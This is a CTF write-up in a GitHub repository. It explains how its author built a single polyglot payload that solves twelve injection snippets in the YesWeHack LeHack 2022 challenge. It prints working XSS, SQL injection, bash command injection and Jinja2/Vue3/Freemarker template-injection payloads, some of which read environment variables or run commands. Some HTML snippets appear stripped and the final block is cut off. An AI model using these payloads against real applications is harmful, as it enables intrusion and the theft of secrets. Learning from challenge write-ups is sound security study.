├── .github ├── ywh_lehack2022_final_solve.png ├── ywh_lehack2022_solve1.png └── ywh_lehack2022_solve2.png ├── README.md └── YesWeHack_LeHack2022 └── WriteUp_Challenge_YesWeHack_LeHack_2022.md /.github/ywh_lehack2022_final_solve.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Hakumarachi/WriteUp/d29f3cc46c1a0e76220a37e5a6fd36a4211628d4/.github/ywh_lehack2022_final_solve.png -------------------------------------------------------------------------------- /.github/ywh_lehack2022_solve1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Hakumarachi/WriteUp/d29f3cc46c1a0e76220a37e5a6fd36a4211628d4/.github/ywh_lehack2022_solve1.png -------------------------------------------------------------------------------- /.github/ywh_lehack2022_solve2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Hakumarachi/WriteUp/d29f3cc46c1a0e76220a37e5a6fd36a4211628d4/.github/ywh_lehack2022_solve2.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Writeups 2 | All my CTF challenges writeups 3 | -------------------------------------------------------------------------------- /YesWeHack_LeHack2022/WriteUp_Challenge_YesWeHack_LeHack_2022.md: -------------------------------------------------------------------------------- 1 | # WriteUP Challenge YesWeHack LeHack 2022 2 | 3 | > Writed By Maxime Bru, Aku --> @akumarachi & https://github.com/Hakumarachi 4 | > 5 | > Challenge created by @BitK_ 6 | 7 | The objective of this challenge is to write a polyglot payload that will print the flag within 12 code snippets at the same time. 8 | 9 | The user with the smaller payload that flag the all 12 snippets win the challenge. 10 | 11 | The 12 code snippets aim different technologies like Bash or Jinja2. 12 | 13 | In order to solve the challenge, we must cut it in 3 different parts. 14 | 15 | ## Get a working payload for all code snippets 16 | 17 | ### XSS 18 | 19 | In this challenge there is 4 XSS. To solve it, we just have to alert the FLAG variable : 20 | 21 | - In script tag with quote 22 | 23 | ```html 24 | 25 | 29 | 30 | ``` 31 | 32 | The payload is loaded inside quotes, a quot escape following by comment marker is enough to flag it : 33 | 34 | ```html 35 | "; alert(FLAG) // 36 | ``` 37 | 38 | - In script tag without quote 39 | 40 | ```html 41 | 42 | 46 | 47 | ``` 48 | 49 | ``` 50 | 1; alert(FLAG); 51 | ``` 52 | 53 | - in h1 tag 54 | 55 | ```html 56 | 57 | 58 |

Hello PAYLOAD

59 | 60 | ``` 61 | 62 | We can add a ` 66 | ``` 67 | 68 | - In div class attribute, with '<>' html encoded 69 | 70 | ```html 71 | 72 | 73 |
74 | Hello world 75 |
76 | 77 | ``` 78 | 79 | Here, we just have to escape the 'class' attribute and write new attribute that execute the alert() within the div : 80 | 81 | ```html 82 | " autofocus onfocus="alert(FLAG)" contenteditable="True 83 | ``` 84 | 85 | ### SQLi 86 | 87 | There is 2 SQLi snippets. The flag had to be in the SQL response to validate these parts. 88 | 89 | - In single Quoted string 90 | 91 | ```sqlite 92 | CREATE TABLE users (username TEXT, password TEXT, age INTEGER); 93 | CREATE TABLE flag (flag TEXT); 94 | INSERT INTO users (username, password, age) VALUES ('admin', 'admin', 42); 95 | INSERT INTO flag (flag) VALUES ('FLAG'); 96 | SELECT username FROM users WHERE username LIKE 'PAYLOAD'; 97 | ``` 98 | 99 | A simple quote escape and UNION SELECT will flag it : 100 | 101 | ```sqlite 102 | ' UNION SELECT flag from flag; -- 103 | ``` 104 | 105 | - Not quoted 106 | 107 | ```sqlite 108 | CREATE TABLE users (username TEXT, password TEXT, age INTEGER); 109 | CREATE TABLE flag (flag TEXT); 110 | INSERT INTO users (username, password, age) VALUES ('admin', 'admin', 42); 111 | INSERT INTO flag (flag) VALUES ('FLAG'); 112 | SELECT username FROM users WHERE username LIKE PAYLOAD; 113 | ``` 114 | 115 | Just don't forget to have a valid value before the `UNION SELECT` unless the first select will crash 116 | 117 | ```sqlite 118 | 1 UNION SELECT flag from flag; 119 | ``` 120 | 121 | ### BASH 122 | 123 | the flag is stored in an environment variable, echo the $flag var will flag these parts. 124 | 125 | - Basic command injection 126 | 127 | ```bash 128 | export FLAG=FLAG 129 | id PAYLOAD 130 | ``` 131 | 132 | Just don't forget to have a valid value before the `echo` unless the id command will crash 133 | 134 | ```bash 135 | 1; 136 | echo $FLAG; 137 | ``` 138 | 139 | - Command injection inside cat <<< 'EOF' 140 | 141 | ```bash 142 | export FLAG=FLAG 143 | cat <<< 'EOF' 144 | PAYLOAD 145 | EOF 146 | ``` 147 | 148 | A simple payload will work : 149 | 150 | ```bash 151 | EOF 152 | echo $flag; 153 | ``` 154 | 155 | ### Template injection 156 | 157 | The flag is stored inside the host environments variables. We have to make a template injection that will read them. 158 | 159 | there is the same code snippets for each template injection : 160 | 161 | ```html 162 |

Hello PAYLOAD

163 | ``` 164 | 165 | - Jinja2 166 | 167 | Any Jinja simple payload will work 168 | 169 | ```jinja2 170 | {{cycler.__init__.__globals__.os.environ}} 171 | ``` 172 | 173 | - Vue3 174 | 175 | ```vue 176 | {{''.constructor.constructor("return process.env")()}} 177 | ``` 178 | 179 | - Freemarker 180 | 181 | ```java 182 | ${"freemarker.template.utility.Execute"?new()("env")} 183 | ``` 184 | 185 | ### Brainfuck 186 | 187 | *Ouch time (the first)* 188 | 189 | The last but not the least... brainfuck !! https://en.wikipedia.org/wiki/Brainfuck 190 | 191 | here the flag is split in 2 parts. the first one is stored in memory, the other is writted in stdin. 192 | 193 | The author of the challenge let us the brainfuck interpreter used by the challenge : 194 | 195 | ```javascript 196 | function Memory(size) { 197 | const assertSize = (k) => { 198 | if (k >= 0 && k < size) return k; 199 | throw new Error(`out of bounds memory access`); 200 | }; 201 | 202 | return new Proxy( 203 | {}, 204 | { 205 | get: (target, key) => Reflect.get(target, assertSize(~~key)) || 0, 206 | set: (target, key, value) => Reflect.set(target, assertSize(~~key), value), 207 | } 208 | ); 209 | } 210 | 211 | const StringtoIntArray = (s) => Array.from(s).map((c) => c.charCodeAt(0)); 212 | const IntArraytoString = (arr) => String.fromCharCode(...arr); 213 | 214 | function brainfuck(rom, flag) { 215 | // Split flag into two parts, one will be in memory the other on stdin 216 | const firstHalf = StringtoIntArray(flag.slice(0, flag.length / 2)); 217 | const secondHalf = StringtoIntArray(flag.slice(flag.length / 2)); 218 | 219 | const ram = Memory(3000); 220 | const stdout = []; 221 | 222 | for (let i = 0; i < firstHalf.length; i++) { 223 | ram[i] = firstHalf[i]; 224 | } 225 | 226 | let ip = 0; 227 | let fp = 0; 228 | 229 | function search(d, s="[]") { 230 | let depth = 1; 231 | while (depth > 0) { 232 | ip = ip + d; 233 | if (rom[ip] === undefined) throw new Error("unexpected end of code"); 234 | depth += ~~(rom[ip] == s[~~(d < 0)]) - ~~(rom[ip] == s[~~(d > 0)]); 235 | } 236 | } 237 | 238 | const STOP = Symbol("stop"); 239 | 240 | const ops = { 241 | ">": () => ++fp, 242 | "<": () => --fp, 243 | "+": () => ++ram[fp], 244 | "-": () => --ram[fp], 245 | ".": () => stdout.push(ram[fp]), 246 | ",": () => (ram[fp] = secondHalf.shift() ?? 0), 247 | "[": () => ram[fp] === 0 && search(1), 248 | "]": () => ram[fp] !== 0 && search(-1), 249 | undefined: () => STOP, 250 | }; 251 | 252 | for (; ops[rom[ip]]?.() !== STOP; ip++); 253 | return IntArraytoString(stdout); 254 | } 255 | 256 | const code = ">."* 16 + ",."*16; 257 | const code = "[[-]>]++++++++[>++++[>++>+++>+++>+<<<<-]>+>+>->>+[<]<-]>>.>---.+++++++..+++.>>.<-.<.+++.------.--------.>>+."; 258 | const flag = "000102030405060708090a0b0c0d0e0ff0f1f2f3f4f5f6f7f8f9fafbfcfdfeff"; // random 64 hex 259 | const result = brainfuck(code, flag); 260 | const success = result == flag; 261 | console.log({ result, success }); 262 | ``` 263 | 264 | As we can see, the flag is a random 32 character string (stored in hex) 265 | 266 | We have to print the first 16 character from memory and the 16 last from stdin. 267 | 268 | We can see a code example within the interpreter : 269 | 270 | ``` 271 | [[-]>]++++++++[>++++[>++>+++>+++>+<<<<-]>+>+>->>+[<]<-]>>.>---.+++++++..+++.>>.<-.<.+++.------.--------.>>+. 272 | ``` 273 | 274 | And this is the code example to print 'hello world' in brainfuck... **Hell yeah it's ~~not~~ gonna be funny !!** 275 | 276 | **We doesn't have the time to understand how brainfuck work in detail so I'll just describe what we need to solve the challenge :** 277 | 278 | This language work with an array as memory slots and a cursor who's navigate between these slots. 279 | 280 | ``` 281 | memory blocks 282 | ----------------------------- 283 | [[00][00][00][02][00][00]...] 284 | <-- ^ --> 285 | ``` 286 | 287 | - `>` --> move the memory cursor to the right 288 | - `<` --> move the memory cursor to the left 289 | - `+` --> increment the value in the memory slot pointed by the cursor 290 | - `-` --> decrement the value in the memory slot pointed by the cursor 291 | - `.` --> Print the content of the memory slot pointed by the cursor 292 | - `,` --> Put the content of stdin in the memory slot pointed by the cursor (one char only) 293 | - `[` --> like python `while cur_memory_slot != 0) :` 294 | - `]` --> goto nearest `[` if the memory slot pointed by the cursor is not `0` 295 | 296 | So, now we can write a literally brainfuck payload : 297 | 298 | - `.>` Will print the char stored in memory and shift the cursor to the next char 299 | - `,.` Will get a char from stdin and print it. 300 | 301 | We can brainless do the following payload : 302 | 303 | ``` 304 | .>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,. 305 | ``` 306 | 307 | And it will print the flag !!! (keep in mind, we have to write the smallest payload as possible, here we have 64 char just to brainfuck... we can do better... but it's in the last step è_é ) 308 | 309 | ## Merge all payload in once (and keep it work) 310 | 311 | OK ! That was not as easy at it's appear but we have our 12 payloads.... we have to make them works together now ! 312 | 313 | Let's do it ! First, I'll begin to merge all similar paylaods. 314 | 315 | ### Merging similar payload 316 | 317 | - XSS 318 | 319 | here is ours payloads :`"; alert(FLAG) //` , ` UNION SELECT flag from flag;` , `` and `" autofocus onfocus="alert(FLAG)" contenteditable="True` 320 | 321 | The first 2 payload are easy to merge with playing with comments and new lines: 322 | 323 | ```javascript 324 | 1//"; 325 | alert(FLAG)// 326 | ``` 327 | 328 | The third one is also easy because, in HTML, we can close any not present tag, it will not crash, so we can close `` and reopen it : 329 | 330 | ```html 331 | 1//"; 332 | 340 | ``` 341 | 342 | - SQLi 343 | 344 | Same work here, comments and new lines are our best friends 345 | 346 | There is our previous payloads : `' UNION SELECT flag from flag; --` and `1 UNION SELECT flag from flag` 347 | 348 | ```sqlite 349 | 1--' 350 | UNION SELECT flag from flag; -- 351 | ``` 352 | 353 | - BASH 354 | 355 | **Nothing to do here :) the second payload already do the job ! ** 356 | 357 | ``` 358 | EOF 359 | env 360 | ``` 361 | 362 | - Template injection 363 | 364 | Here is our three payloads : `{{cycler.__init__.__globals__.os.environ}}` , `{{''.constructor.constructor("return process.env")()}}` and `${"freemarker.template.utility.Execute"?new()("env")}` 365 | 366 | Jinja2 and Vue3 use the same syntax and use the two payloads in the same time will make crash the two interpreters... Except if the interpreter don't have to interpret it ! let's use if statements ! 367 | 368 | - Jinja2 if : `{%if CONDITION%}` 369 | - Vue3 if :`
` 370 | 371 | Hey ! this two syntax are different and then, we can used them in the same payload ! 372 | 373 | But why this should help us ? It's simple : If the condition is not met, the interpreter don't execute the code within the Conditional block and then we doesn't crash ! 374 | 375 | (Note: Here freemarker is a good guy because it have its own syntax) 376 | 377 | ```jinja2 378 | {%if 0%}{{''.constructor.constructor("return process.env")()}}{% endif %}
{{cycler.__init__.__globals__.os.environ}}
${"freemarker.template.utility.Execute"?new()("env")} 379 | ``` 380 | 381 | - Brainfuck 382 | 383 | **It is a solo guy nothing to do here :). ** 384 | 385 | ### Merging All payloads 386 | 387 | Let's merge all, without brainfuck in a first time. 388 | 389 | here is our payloads : 390 | 391 | - XSS 392 | 393 | ```html 394 | 1//"; 395 | 396 | ``` 397 | 398 | - SQLi 399 | 400 | ```sqlite 401 | 1--' 402 | UNION SELECT flag from flag; -- 403 | ``` 404 | 405 | - Bash 406 | 407 | ```bash 408 | EOF 409 | env 410 | ``` 411 | 412 | - Template Injection 413 | 414 | ```jinja2 415 | {%if 0%}{{''.constructor.constructor("return process.env")()}}{% endif %}
{{cycler.__init__.__globals__.os.environ}}
${"freemarker.template.utility.Execute"?new()("env")} 416 | ``` 417 | 418 | I began by merge XSS and SQL because it begin with the same idea and we can use common multi line comment between js and SQLite (`/* */`) 419 | 420 | Little detail, I use the `--` sql comment end line. But this doesn't exist in JS. But the object `-->` exist... let use it :) 421 | 422 | ```html 423 | 1/*/"/* 424 | */-->' 425 | UNION SELECT flag from flag; -- 426 | ``` 427 | 428 | Because we are inside SQL or JS string or comment, we can easily add template injection : 429 | 430 | ```html 431 | 1/*/"/*{%if 0%}{{''.constructor.constructor("return process.env")()}}{% endif %}
{{cycler.__init__.__globals__.os.environ}}
${"freemarker.template.utility.Execute"?new()("env")} 432 | */-->' 433 | UNION SELECT flag from flag; -- 434 | ``` 435 | 436 | And then, to ADD bash, we have to make the command id work, and to to that we have to use Bash comment char : `#` and force the id command line to finish with `;` 437 | 438 | ```html 439 | 1/*;#/"/*{%if 0%}{{''.constructor.constructor("return process.env")()}}{% endif %}
{{cycler.__init__.__globals__.os.environ}}
${"freemarker.template.utility.Execute"?new()("env")} 440 | EOF 441 | env 442 | */-->' 443 | UNION SELECT flag from flag; -- 444 | ``` 445 | 446 | ### Merging Brainfuck 447 | 448 | As you can see in the payload above, we use many brainfuck char and many no brainfuck char. 449 | 450 | Fortunately, all char outside of the brainfuck charset are just skipped by the interpreter ! 451 | 452 | But all branfuck valid char break our payload... ** only if brainfuck had to execute it ** exactly as the template injection, if we put or code in a conditional statement who never met the condition, the code will never be executed. 453 | 454 | So how to do that in brainfuck ? 455 | 456 | To remember, `[]` will execute the code inside the brackets only if the memory slot pointed by the cursor is not 0... so we just have to set it at 0 and put all payloads containing valid char inside brackets !!! 457 | 458 | (because we have to go to a memory slot with 0 as value, we must have to print the first flag's part before all other payload) 459 | 460 | ```html 461 | 1/*;#/"/*.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.>[{%if 0%}{{''.constructor.constructor("return process.env")()}}{% endif %}
{{cycler.__init__.__globals__.os.environ}}
${"freemarker.template.utility.Execute"?new()("env")}] 462 | EOF 463 | env 464 | */-->' 465 | UNION SELECT flag from flag; -- 466 | ``` 467 | 468 | ![solve1](../.github/ywh_lehack2022_solve1.png) 469 | 470 | 471 | 472 | **Congratulation !! Now we have to make the smallest payload possible !** 473 | 474 | ## OPTIMIZATION !!!!! 475 | 476 | ###Â Brainfuck 477 | 478 | During all this Writeup Brainfuck was the latest point observed ! But here we have **MANY** savable characters ! 479 | 480 | First, the reading of the flag from the memory. At the beginning the cursor point at the first char of the flag, so the value isn't 0. And because of shifting to right the cursor at each reading of a char, at the end of the read, the cursor point a memory slot with a value set to 0 ! So we can make a while ! 481 | 482 | ``` 483 | [.>] 484 | ``` 485 | 486 | Here, until the cursor doesn't point an empty slot memory, it's print the pointing memory and it's shift the cursor to the right . 487 | 488 | For the seconds part of the flag, it's a similar method. At the end of stdin, `,` instruction will receive a null value so : 489 | 490 | ``` 491 | ,[.,] 492 | ``` 493 | 494 | because of the first part, the cursor point a null value, so we get the first char from stdin and we enter the loop where it's print the char and get the next stdin char until it receive a null value ! 495 | 496 | ```html 497 | 1/*;#/"/*[.>],[.,][{%if 0%}{{''.constructor.constructor("return process.env")()}}{% endif %}
{{cycler.__init__.__globals__.os.environ}}
${"freemarker.template.utility.Execute"?new()("env")}] 498 | EOF 499 | env 500 | */-->' 501 | UNION SELECT flag from flag; -- 502 | ``` 503 | 504 | **We just saved 120 characters !!** 505 | 506 | ### Template injection 507 | 508 | We use if statement to not execute Jinja2 payload on Vue and vice versa . We can also use our best friend : comments !!!! 509 | 510 | - `{#COMMENT#}` in Jinja2 511 | - `` in Vue3 512 | 513 | BUT `#{` is a valid marker in templater ! so we have to ad a space between comment and Vue Payload . 514 | 515 | I can also use an shortest payload for Vue : `{{$emit.constructor("return process.env")()}}` 516 | 517 | ``` 518 | 1/*;#/"/*[.>],[.,][{# {{$emit.constructor("return process.env")()}}#}' 522 | UNION SELECT flag from flag; -- 523 | ``` 524 | 525 | ![solve2](../.github/ywh_lehack2022_solve2.png) 526 | 527 | ### XSS AND SQLi 528 | 529 | To finish, there is 2 little adjustment that we cab do to save some characters. 530 | 531 | I can do a `SELECT *` in SQL to save 3 chars ! 532 | 533 | In the HTML tag I can remove some useless elememnts 534 | 535 | And, All useless spaces can be removed ! 536 | 537 | ```html 538 | 1/*;#/"/*[.>],[.,][{# {{$emit.constructor("return process.env")()}}#}